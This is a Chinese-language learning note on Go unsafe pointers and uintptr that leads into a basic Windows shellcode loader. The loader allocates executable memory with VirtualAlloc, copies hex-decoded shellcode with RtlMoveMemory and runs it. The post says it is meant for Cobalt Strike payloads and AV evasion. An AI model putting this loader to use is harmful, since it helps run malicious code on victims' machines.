笔记属于记录恶意程序免杀入门学到的一些课程以及文章,主要用于记录和自我理解,程度很低。

0x01 unsafePointer指针基础

首先是golang中的一些指针基础,在go中和C中取出某个变量的指针的符号是一样的–&​,具体使用案例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import "fmt"

func main() {

banner1 := "stooceaTest"
fmt.Printf("[*] %s\n", banner1)
fmt.Printf("[*] %p\n", &banner1) //此时%p输出的是指向当前banner指针结构体的指针,并非指向该字符串变量所在内存的指针
fmt.Printf("[*] %s\n", *&banner1) //解引用符号*, 只能使用在指针变量的左边,用于自动解析该指针变量指向的内存地址,并且将该变量内容带出

}


//============= 编译执行该go文件
go run main.go
[*] stooceaTest
[*] 0xc00008a030
[*] stooceaTest

每个变量其实都是一个结构体,例如字符串变量,实际上他里面就是一段指针–用于指向该字符串内存位置;然后还有一块内容用于存储长度。我们可以根据这段指针指向和长度,无差错的获取到这段字符串内容。

0x02 unsafe package

1x01 Unsafe.Pointer

unsafe包在各种语言中都有见到过,根据他名字就能看出来,这个包下面的一些用法会涉及到底层操作甚至是一些不安全的操作。比如说将任意的指针转化为通用类型的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import (
"fmt"
"unsafe"
)

func main() {

banner1 := "stooceaTest"
fmt.Printf("[*] %s\n", banner1)
fmt.Printf("[*] %p\n", &banner1) //此时%p输出的是指向当前banner指针结构体的指针,并非指向该字符串变量所在内存的指针
fmt.Printf("[*] %s\n", *&banner1) //解引用符号*, 只能使用在指针变量的左边,用于自动解析该指针变量指向的内存地址,并且将该变量内容带出

fmt.Printf("[*] %T\n", unsafe.Pointer(&banner1))
}

然后其实go中的函数也能够直接进行的参数的传递,这里我们演示三种修改函数解引用后的指针的方法,分别为

1.参数直接传递

2.通过修改对应解引用后的内存地址实现函数变量的内容修改

3.套一层unsafe的pointer操作,依然实现解引用后地址的赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main

import (
"fmt"
"unsafe"
)

func demo2() {
fmt.Println("AN94ing")
}

func main() {
//最为简单的函数直接传参之后调用
testfunc := func() {}
testfunc = demo2
testfunc()

//改变testfunc2的指针指向demo2函数指针的所对应的值,达到函数修改的目的
testfunc2 := func() {}
demo2func := demo2

*&testfunc2 = *&demo2func
testfunc2()
//结果不同,因为此时&testfunc2和&demo2func分别属于指向各自变量的结构体指针
fmt.Printf("%p\n", &testfunc2)
fmt.Printf("%p\n", &demo2func)

//此时解引用之后地址值相同,同样都是关于demo2函数内容在内存中的地址
fmt.Printf("%p\n", *&testfunc2)
fmt.Printf("%p\n", *&demo2func)

//通过unsafe的pointer函数额外的去套一层实现testfunc3和demo2func两者结构体中的指针都等于demo2func在内存中的指针
testfunc3 := func() {}

//由于unsafe包下调用Pointer方法修改后的通用指针不能够被直接使用,所以只能将其转化为正常的对应类型的指针,然后才能解引用
*(*func())(unsafe.Pointer(&testfunc3)) = *(*func())(unsafe.Pointer(&demo2func))
fmt.Printf("%p\n", &testfunc3)
fmt.Printf("%p\n", &demo2func)
fmt.Printf("%p\n", *&testfunc3)
fmt.Printf("%p\n", *&demo2func)
testfunc3()
}

这里注意两点,一是如果想要直接解引用demo2的地址值,必须要先将其赋值为一个变量才能通过&将对应结构体指针取出并解引用。

二是unsafe包下调用Pointer方法修改后的通用指针不能够被直接使用,所以只能将其转化为正常的对应类型的指针,然后才能解引用

uintptr

有两层含义,uintptr在Go的unsafe包下实际上是一段方法。而实际上,uintptr在各类变量的实际结构体中,就是那段指针的值。

简单来说,我们之前提到的banner字符串,它实际上是一段结构体,最开始我们说这个结构体里面存有一段指针-用来指向实际字符串内容在内存中的地址;还有一个具体的值用来代表这个字符串的实际长度,便于读取时知道大概要读取多少长度。而现在,这个用来指向实际字符串内容的内存地址指针,它本质上就是一段uintptr。

所以uintptr本质也是一段值。在32位的系统中是4字节,在64位系统中是8字节。进一步展开来讲,当我们想修改某个变量的值时,也要将修改对象的值转化为uintptr类型,因为只有同类型才能赋值转化。

用例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package main

import (
"fmt"
"unsafe"
)

func demo2() {
fmt.Println("AN94ing")
}

func main() {

banner1 := "stooceaTest"

//uintptr的使用
fmt.Printf("[*] %d\n", (uintptr(unsafe.Pointer(&banner1))))

}

//输出
[*] 824634810144

uintptr特点以及作用

上面铺垫了一些东西,总的来说我们就为了一个目的–取出变量结构体中的那个uintptr。如何操作呢?我们可以先建立一个指针,用于指向这个变量的结构体。$var1就能够解决。最开始在uintptr中我们又提到:uintptr在32位系统中是4个字节,在64位系统中是8字节。所以现在这个指针往后连续读8位就能够读取到这个uintptr

不过这么做实属有些麻烦,我们可以定义一个uinptr类型的指针,或者说我们将该结构体指针强转为uintptr的指针,然后再对其解引用。而解引用之后的值又必然是原来的这个指针类型的值,所以解引用之后就是一段uintptr,也就是该结构体的uintptr。

实例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import (
"fmt"
"unsafe"
)

func demo2() {
fmt.Println("AN94ing")
}

func main() {

banner1 := "stooceaTest"
//获取到任意变量的uintptr
stringstructureUintptr := *(*uintptr)(unsafe.Pointer(&banner1))
fmt.Printf("[*] %d\n", stringstructureUintptr)
}


//输出
[*] 11369396

当我们可以获取到这个变量的uintptr之后就能够实现一部分值转化的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"fmt"
"unsafe"
)

func demo2() {
fmt.Println("AN94ing")
}

func main() {

//uintptr的使用
banner1 := "Testbanner1"
banner2 := "stoocea"
fmt.Printf("[*] %d\n", (uintptr(unsafe.Pointer(&banner1))))

*(*uintptr)(unsafe.Pointer(&banner2)) = *(*uintptr)(unsafe.Pointer(&banner1))

fmt.Println(banner2)
}

//输出
Testban

为什么说是一部分的值转化呢?其实到这里也能够看明白了,banner2仅仅只是把uintptr的值给拿过来了,但是banner1结构体中的len还没有存过来,导致长度只能截取到stoocea字符串同样长度的banner1值–Testban。

当然,如果两者的值不同,会报错unexpected fault address。说明类型还是有检测的

0x03 ShellCode Loader

shellcode的本质其实就是一段可以自主运行的机器码,它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode

这也是为什么我们需要shellcodeLoader的原因。结合上面的基础,我们可以通过一个go的shellcodeLoader的样例代码进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package main

import (
"encoding/hex"
"syscall"
"unsafe"
)

var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func build(ddm string) {
sDec, _ := hex.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)

}

func main() {
payload := "test"
build(payload)
}

除去其他的加解密混淆等免杀手段,一个shellcodeloader需要这么多内容。大致可以分为:完成内存申请,写入shellcode,导流程序执行shellcode这3个部分。

我们一个一个来看。完成内存申请的部分我们有很多方式可以实现,windows中也提供了很多的API来实现内存分配:HeapAlloc,malloc,VirtualAlloc,new,LocalAlloc…..。

调用这些API申请内存的时候都需要申明这块内存的基本信息:申请的内存大小,申请内存的起始基址,申请的内存属性,申请内存对外权限等。这些我们在shellcodeLoader的示例代码中就能够看到,调用VirtualAlloc.Call时的参数就是具体的内存参数。

其实上述的分配内存API都会用到VirtualAlloc,因为VirtualAlloc申请的单位是“页”,windows管理内存的基本单位就是页。

了解上述基础之后再来具体看loader关键的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var (
// VirtualAlloc这个函数在kernel32.dll中,我们先懒加载导入这个动态链接库,只有kernel32.dll中的函数被使用时才会真正加载它
kernel32 = syscall.NewLazyDLL("kernel32.dll")
//获取VirtualAlloc的句柄,便于后续调用VirtualAlloc
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
//RtlMoveMemory主要是用来拷贝内存的,专门为windows设计,类似于标准库中的memcpy。
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func build(ddm string) {
//我们用CS生成的shellcode如果使用C模式的话就会生成一段HEX数据,最原始的shellcode用hex解码即可
sDec, _ := hex.DecodeString(ddm)
//调用VirtualAlloc函数进行内存分配,参数从左至右分别是:内存基址(为0的话就会自动查找),内存写入长度,分配类型,内存权限(0x40表示可执行权限)
//返回值为起始地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
//进行内存写入,这里主要是第二个参数,将我们真正想要写入内存的数据作为参数传入
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
//调用
syscall.Syscall(addr, 0, 0, 0, 0)

}

做一个演示,首先用CS生成一段payload,然后将他的shellcode提取出来存入payload,之后就会根据我们上述分析的逻辑一样,系统会去执行这段内存中的指令(具体shellcode里面是什么,其实我本身也很好奇,只不过具体是怎么样还得等后续分析)

image

image

话又说话来,这一段内容其实很早就过时了,估计这段exe放到VT中都查的差不多了,主要还是意图过于明显,VirtualAlloc本身就是一个很敏感的操作。况且我也没有对payload进行混淆处理。算是很基本的shellcodeloader。

总结

这篇笔记是参考B站清风拂月师傅的视频边学边记录的,也加上了自己的一些理解和扩展。不过这篇文章的内容就到这了,在往深我就才疏学浅了。算是给我自己半只脚入个门,后面会持续学习一些基本功和进一步的免杀。